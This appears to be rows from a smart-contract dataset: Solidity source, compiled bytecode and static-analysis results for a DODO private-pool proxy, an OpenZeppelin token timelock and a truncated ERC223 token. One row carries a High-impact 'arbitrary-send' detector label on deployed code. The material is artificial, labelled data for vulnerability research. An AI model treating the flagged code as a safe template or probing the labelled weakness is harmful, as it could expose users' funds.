// https://solidity.readthedocs.io/en/latest/control-structures.html?highlight=zero-state#scoping-and-declarations
// zero-state of _ENTERED_ is false
bool private _ENTERED_;
modifier preventReentrant() {
require(!_ENTERED_, "REENTRANT");
_ENTERED_ = true;
_;
_ENTERED_ = false;
}
}
// File: contracts/SmartRoute/proxies/DODODppProxy.sol
/**
* @title DODODppProxy
* @author DODO Breeder
*
* @notice DODO Private Pool Proxy
*/
contract DODODppProxy is ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// ============ Storage ============
address constant _ETH_ADDRESS_ = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address public immutable _WETH_;
address public immutable _DODO_APPROVE_PROXY_;
address public immutable _DPP_FACTORY_;
// ============ Modifiers ============
modifier judgeExpired(uint256 deadLine) {
require(deadLine >= block.timestamp, "DODOCpProxy: EXPIRED");
_;
}
fallback() external payable {}
receive() external payable {}
constructor(
address payable weth,
address dodoApproveProxy,
address dppFactory
) public {
_WETH_ = weth;
_DODO_APPROVE_PROXY_ = dodoApproveProxy;
_DPP_FACTORY_ = dppFactory;
}
function createDODOPrivatePool(
address baseToken,
address quoteToken,
uint256 baseInAmount,
uint256 quoteInAmount,
uint256 lpFeeRate,
uint256 i,
uint256 k,
bool isOpenTwap,
uint256 deadLine
)
external
payable
preventReentrant
judgeExpired(deadLine)
returns (address newPrivatePool)
{
newPrivatePool = IDODOV2(_DPP_FACTORY_).createDODOPrivatePool();
address _baseToken = baseToken;
address _quoteToken = quoteToken;
_deposit(msg.sender, newPrivatePool, _baseToken, baseInAmount, _baseToken == _ETH_ADDRESS_);
_deposit(
msg.sender,
newPrivatePool,
_quoteToken,
quoteInAmount,
_quoteToken == _ETH_ADDRESS_
);
if (_baseToken == _ETH_ADDRESS_) _baseToken = _WETH_;
if (_quoteToken == _ETH_ADDRESS_) _quoteToken = _WETH_;
IDODOV2(_DPP_FACTORY_).initDODOPrivatePool(
newPrivatePool,
msg.sender,
_baseToken,
_quoteToken,
lpFeeRate,
k,
i,
isOpenTwap
);
}
function resetDODOPrivatePool(
address dppAddress,
uint256[] memory paramList, //0 - newLpFeeRate, 1 - newI, 2 - newK
uint256[] memory amountList, //0 - baseInAmount, 1 - quoteInAmount, 2 - baseOutAmount, 3- quoteOutAmount
uint8 flag, // 0 - ERC20, 1 - baseInETH, 2 - quoteInETH, 3 - baseOutETH, 4 - quoteOutETH
uint256 minBaseReserve,
uint256 minQuoteReserve,
uint256 deadLine
) external payable preventReentrant judgeExpired(deadLine) {
_deposit(
msg.sender,
dppAddress,
IDODOV2(dppAddress)._BASE_TOKEN_(),
amountList[0],
flag == 1
);
_deposit(
msg.sender,
dppAddress,
IDODOV2(dppAddress)._QUOTE_TOKEN_(),
amountList[1],
flag == 2
);
require(IDODOV2(IDODOV2(dppAddress)._OWNER_()).reset(
msg.sender,
paramList[0],
paramList[1],
paramList[2],
amountList[2],
amountList[3],
minBaseReserve,
minQuoteReserve
), "Reset Failed");
_withdraw(msg.sender, IDODOV2(dppAddress)._BASE_TOKEN_(), amountList[2], flag == 3);
_withdraw(msg.sender, IDODOV2(dppAddress)._QUOTE_TOKEN_(), amountList[3], flag == 4);
}
//====================== internal =======================
function _deposit(
address from,
address to,
address token,
uint256 amount,
bool isETH
) internal {
if (isETH) {
if (amount > 0) {
IWETH(_WETH_).deposit{value: amount}();
if (to != address(this)) SafeERC20.safeTransfer(IERC20(_WETH_), to, amount);
}
} else {
IDODOApproveProxy(_DODO_APPROVE_PROXY_).claimTokens(token, from, to, amount);
}
}
function _withdraw(
address payable to,
address token,
uint256 amount,
bool isETH
) internal {
if (isETH) {
if (amount > 0) {
IWETH(_WETH_).withdraw(amount);
to.transfer(amount);
}
} else {
if (amount > 0) {
SafeERC20.safeTransfer(IERC20(token), to, amount);
}
}
}
}
|
0x60806040526004361061004e5760003560e01c80630d4eec8f146100575780630d9be5001461008857806312ff148d146100e6578063b730d15014610231578063eb99be121461024657610055565b3661005557005b005b34801561006357600080fd5b5061006c61025b565b604080516001600160a01b039092168252519081900360200190f35b61006c600480360361012081101561009f57600080fd5b506001600160a01b03813581169160208101359091169060408101359060608101359060808101359060a08101359060c08101359060e0810135151590610100013561027f565b610055600480360360e08110156100fc57600080fd5b6001600160a01b03823516919081019060408101602082013564010000000081111561012757600080fd5b82018360208201111561013957600080fd5b8035906020019184602083028401116401000000008311171561015b57600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092959493602081019350359150506401000000008111156101ab57600080fd5b8201836020820111156101bd57600080fd5b803590602001918460208302840111640100000000831117156101df57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295505060ff8335169350505060208101359060408101359060600135610564565b34801561023d57600080fd5b5061006c610a11565b34801561025257600080fd5b5061006c610a35565b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b6000805460ff16156102c4576040805162461bcd60e51b815260206004820152600960248201526814915153951490539560ba1b604482015290519081900360640190fd5b6000805460ff19166001179055814281101561031e576040805162461bcd60e51b81526020600482015260146024820152731113d113d0dc141c9bde1e4e881156141254915160621b604482015290519081900360640190fd5b7f0000000000000000000000005336ede8f971339f6c0e304c66ba16f1296a2fbe6001600160a01b03166309b8adb86040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561037957600080fd5b505af115801561038d573d6000803e3d6000fd5b505050506040513d60208110156103a357600080fd5b505191508a8a6103d53385848e6001600160a01b03821673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee14610a59565b6104013385838d6001600160a01b03821673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee14610a59565b6001600160a01b03821673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee141561044a577f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc291505b6001600160a01b03811673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee141561049257507f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc25b6040805162caf77f60e51b81526001600160a01b03868116600483015233602483015284811660448301528381166064830152608482018c905260a482018a905260c482018b905288151560e483015291517f0000000000000000000000005336ede8f971339f6c0e304c66ba16f1296a2fbe9092169163195eefe0916101048082019260009290919082900301818387803b15801561053157600080fd5b505af1158015610545573d6000803e3d6000fd5b50506000805460ff1916905550939d9c50505050505050505050505050565b60005460ff16156105a8576040805162461bcd60e51b815260206004820152600960248201526814915153951490539560ba1b604482015290519081900360640190fd5b6000805460ff191660011790558042811015610602576040805162461bcd60e51b81526020600482015260146024820152731113d113d0dc141c9bde1e4e881156141254915160621b604482015290519081900360640190fd5b61068d33898a6001600160a01b0316634a248d2a6040518163ffffffff1660e01b815260040160206040518083038186803b15801561064057600080fd5b505afa158015610654573d6000803e3d6000fd5b505050506040513d602081101561066a57600080fd5b505189518a9060009061067957fe5b60200260200101518960ff16600114610a59565b61071a33898a6001600160a01b031663d4b970466040518163ffffffff1660e01b815260040160206040518083038186803b1580156106cb57600080fd5b505afa1580156106df573d6000803e3d6000fd5b505050506040513d60208110156106f557600080fd5b505189518a90600190811061070657fe5b60200260200101518960ff16600214610a59565b876001600160a01b03166316048bc46040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561075557600080fd5b505af1158015610769573d6000803e3d6000fd5b505050506040513d602081101561077f57600080fd5b505187516001600160a01b0390911690638ff3928c9033908a906000906107a257fe5b60200260200101518a6001815181106107b757fe5b60200260200101518b6002815181106107cc57fe5b60200260200101518b6002815181106107e157fe5b60200260200101518c6003815181106107f657fe5b60200260200101518b8b6040518963ffffffff1660e01b815260040180896001600160a01b03166001600160a01b0316815260200188815260200187815260200186815260200185815260200184815260200183815260200182815260200198505050505050505050602060405180830381600087803b15801561087957600080fd5b505af115801561088d573d6000803e3d6000fd5b505050506040513d60208110156108a357600080fd5b50516108e5576040805162461bcd60e51b815260206004820152600c60248201526b14995cd95d0811985a5b195960a21b604482015290519081900360640190fd5b61097133896001600160a01b0316634a248d2a6040518163ffffffff1660e01b815260040160206040518083038186803b15801561092257600080fd5b505afa158015610936573d6000803e3d6000fd5b505050506040513d602081101561094c57600080fd5b505188518990600290811061095d57fe5b60200260200101518860ff16600314610bbd565b6109fd33896001600160a01b031663d4b970466040518163ffffffff1660e01b815260040160206040518083038186803b1580156109ae57600080fd5b505afa1580156109c2573d6000803e3d6000fd5b505050506040513d60208110156109d857600080fd5b50518851899060039081106109e957fe5b60200260200101518860ff16600414610bbd565b50506000805460ff19169055505050505050565b7f0000000000000000000000005336ede8f971339f6c0e304c66ba16f1296a2fbe81565b7f000000000000000000000000335ac99bb3e51bdbf22025f092ebc1cf2c5cc61981565b8015610b1a578115610b15577f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b031663d0e30db0836040518263ffffffff1660e01b81526004016000604051808303818588803b158015610ac057600080fd5b505af1158015610ad4573d6000803e3d6000fd5b505050506001600160a01b03851630149050610b1557610b157f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc28584610c9b565b610bb6565b6040805163052f523360e11b81526001600160a01b038581166004830152878116602483015286811660448301526064820185905291517f000000000000000000000000335ac99bb3e51bdbf22025f092ebc1cf2c5cc61990921691630a5ea4669160848082019260009290919082900301818387803b158015610b9d57600080fd5b505af1158015610bb1573d6000803e3d6000fd5b505050505b5050505050565b8015610c84578115610c7f577f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b0316632e1a7d4d836040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b158015610c2f57600080fd5b505af1158015610c43573d6000803e3d6000fd5b50506040516001600160a01b038716925084156108fc02915084906000818181858888f19350505050158015610c7d573d6000803e3d6000fd5b505b610c95565b8115610c9557610c95838584610c9b565b50505050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610ced908490610cf2565b505050565b60006060836001600160a01b0316836040518082805190602001908083835b60208310610d305780518252601f199092019160209182019101610d11565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114610d92576040519150601f19603f3d011682016040523d82523d6000602084013e610d97565b606091505b509150915081610dee576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b805115610c9557808060200190516020811015610e0a57600080fd5b5051610c955760405162461bcd60e51b815260040180806020018281038252602a815260200180610e48602a913960400191505060405180910390fdfe5361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a26469706673582212205d0b20148aa6c0d4eae357d2744adbc08781188f0b705b9f1869a6861109d9a664736f6c63430006090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,325 |
0xeb64ae5ba850dd8570652503d8be903edda69ad9
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
/**
* @dev A token holder contract that will allow a beneficiary to extract the
* tokens after a given release time.
*
* Useful for simple vesting schedules like "advisors get all of their tokens
* after 1 year".
*/
contract TokenTimelock {
using SafeERC20 for IERC20;
// ERC20 basic token contract being held
IERC20 immutable private _token;
// beneficiary of tokens after they are released
address immutable private _beneficiary;
// timestamp when token release is enabled
uint256 immutable private _releaseTime;
constructor (IERC20 token_, address beneficiary_, uint256 releaseTime_) {
// solhint-disable-next-line not-rely-on-time
require(releaseTime_ > block.timestamp, "TokenTimelock: release time is before current time");
_token = token_;
_beneficiary = beneficiary_;
_releaseTime = releaseTime_;
}
/**
* @return the token being held.
*/
function token() public view virtual returns (IERC20) {
return _token;
}
/**
* @return the beneficiary of the tokens.
*/
function beneficiary() public view virtual returns (address) {
return _beneficiary;
}
/**
* @return the time when the tokens are released.
*/
function releaseTime() public view virtual returns (uint256) {
return _releaseTime;
}
/**
* @notice Transfers tokens held by timelock to beneficiary.
*/
function release() public virtual {
// solhint-disable-next-line not-rely-on-time
require(block.timestamp >= releaseTime(), "TokenTimelock: current time is before release time");
uint256 amount = token().balanceOf(address(this));
require(amount > 0, "TokenTimelock: no tokens to release");
token().safeTransfer(beneficiary(), amount);
}
}
|
0x608060405234801561001057600080fd5b506004361061004c5760003560e01c806338af3eed1461005157806386d1a69f1461006f578063b91d400114610079578063fc0c546a14610097575b600080fd5b6100596100b5565b6040516100669190610756565b60405180910390f35b6100776100dd565b005b61008161023a565b60405161008e9190610877565b60405180910390f35b61009f610262565b6040516100ac919061079a565b60405180910390f35b60007f00000000000000000000000002fff939d7e87f39dfd7ce107e2437247475e086905090565b6100e561023a565b421015610127576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161011e906107d7565b60405180910390fd5b6000610131610262565b73ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016101699190610756565b60206040518083038186803b15801561018157600080fd5b505afa158015610195573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101b991906105d0565b9050600081116101fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101f590610857565b60405180910390fd5b6102376102096100b5565b82610212610262565b73ffffffffffffffffffffffffffffffffffffffff1661028a9092919063ffffffff16565b50565b60007f0000000000000000000000000000000000000000000000000000000064753c80905090565b60007f000000000000000000000000bd4a858139b155219e2c8d10135003fdef720b6b905090565b61030b8363a9059cbb60e01b84846040516024016102a9929190610771565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050610310565b505050565b6000610372826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff166103d79092919063ffffffff16565b90506000815111156103d2578080602001905181019061039291906105a7565b6103d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103c890610837565b60405180910390fd5b5b505050565b60606103e684846000856103ef565b90509392505050565b606082471015610434576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042b906107f7565b60405180910390fd5b61043d85610503565b61047c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161047390610817565b60405180910390fd5b6000808673ffffffffffffffffffffffffffffffffffffffff1685876040516104a5919061073f565b60006040518083038185875af1925050503d80600081146104e2576040519150601f19603f3d011682016040523d82523d6000602084013e6104e7565b606091505b50915091506104f7828286610516565b92505050949350505050565b600080823b905060008111915050919050565b6060831561052657829050610576565b6000835111156105395782518084602001fd5b816040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056d91906107b5565b60405180910390fd5b9392505050565b60008151905061058c81610ad9565b92915050565b6000815190506105a181610af0565b92915050565b6000602082840312156105b957600080fd5b60006105c78482850161057d565b91505092915050565b6000602082840312156105e257600080fd5b60006105f084828501610592565b91505092915050565b610602816108c4565b82525050565b600061061382610892565b61061d81856108a8565b935061062d818560208601610930565b80840191505092915050565b6106428161090c565b82525050565b60006106538261089d565b61065d81856108b3565b935061066d818560208601610930565b61067681610963565b840191505092915050565b600061068e6032836108b3565b915061069982610974565b604082019050919050565b60006106b16026836108b3565b91506106bc826109c3565b604082019050919050565b60006106d4601d836108b3565b91506106df82610a12565b602082019050919050565b60006106f7602a836108b3565b915061070282610a3b565b604082019050919050565b600061071a6023836108b3565b915061072582610a8a565b604082019050919050565b61073981610902565b82525050565b600061074b8284610608565b915081905092915050565b600060208201905061076b60008301846105f9565b92915050565b600060408201905061078660008301856105f9565b6107936020830184610730565b9392505050565b60006020820190506107af6000830184610639565b92915050565b600060208201905081810360008301526107cf8184610648565b905092915050565b600060208201905081810360008301526107f081610681565b9050919050565b60006020820190508181036000830152610810816106a4565b9050919050565b60006020820190508181036000830152610830816106c7565b9050919050565b60006020820190508181036000830152610850816106ea565b9050919050565b600060208201905081810360008301526108708161070d565b9050919050565b600060208201905061088c6000830184610730565b92915050565b600081519050919050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b60006108cf826108e2565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60006109178261091e565b9050919050565b6000610929826108e2565b9050919050565b60005b8381101561094e578082015181840152602081019050610933565b8381111561095d576000848401525b50505050565b6000601f19601f8301169050919050565b7f546f6b656e54696d656c6f636b3a2063757272656e742074696d65206973206260008201527f65666f72652072656c656173652074696d650000000000000000000000000000602082015250565b7f416464726573733a20696e73756666696369656e742062616c616e636520666f60008201527f722063616c6c0000000000000000000000000000000000000000000000000000602082015250565b7f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000600082015250565b7f5361666545524332303a204552433230206f7065726174696f6e20646964206e60008201527f6f74207375636365656400000000000000000000000000000000000000000000602082015250565b7f546f6b656e54696d656c6f636b3a206e6f20746f6b656e7320746f2072656c6560008201527f6173650000000000000000000000000000000000000000000000000000000000602082015250565b610ae2816108d6565b8114610aed57600080fd5b50565b610af981610902565b8114610b0457600080fd5b5056fea264697066735822122028db4cc2841b0065645498e6df4e8edb1f248823e3c226aa76f240a932f7325364736f6c63430008010033
|
{"success": true, "error": null, "results": {}}
| 9,326 |
0x1360a3a504bdab1ef2e2aa8f8537b1ec526c7980
|
/**
*Submitted for verification at Etherscan.io on 2021-07-29
*/
/**
*Submitted for verification at Etherscan.io on 2021-07-29
*/
pragma solidity ^0.4.23;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization
* control functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the
* sender account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
*
* @title ERC223
* @dev ERC223 contract interface with ERC20 functions and events
* Fully backward compatible with ERC20
* Recommended implementation used at https://github.com/Dexaran/ERC223-token-standard/tree/Recommended
*/
contract ERC223 {
uint public totalSupply;
// ERC223 and ERC20 functions and events
function balanceOf(address who) public view returns (uint);
function totalSupply() public view returns (uint256 _supply);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
// ERC223 functions
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
// ERC20 functions and events
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
/**
* @title ContractReceiver
* @dev Contract that is working with ERC223 tokens
*/
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
/*
* tkn variable is analogue of msg variable of Ether transaction
* tkn.sender is person who initiated this token transaction (analogue of msg.sender)
* tkn.value the number of tokens that were sent (analogue of msg.value)
* tkn.data is data of token transaction (analogue of msg.data)
* tkn.sig is 4 bytes signature of function if data of token transaction is a function execution
*/
}
}
/*******************************************************************************/
/**
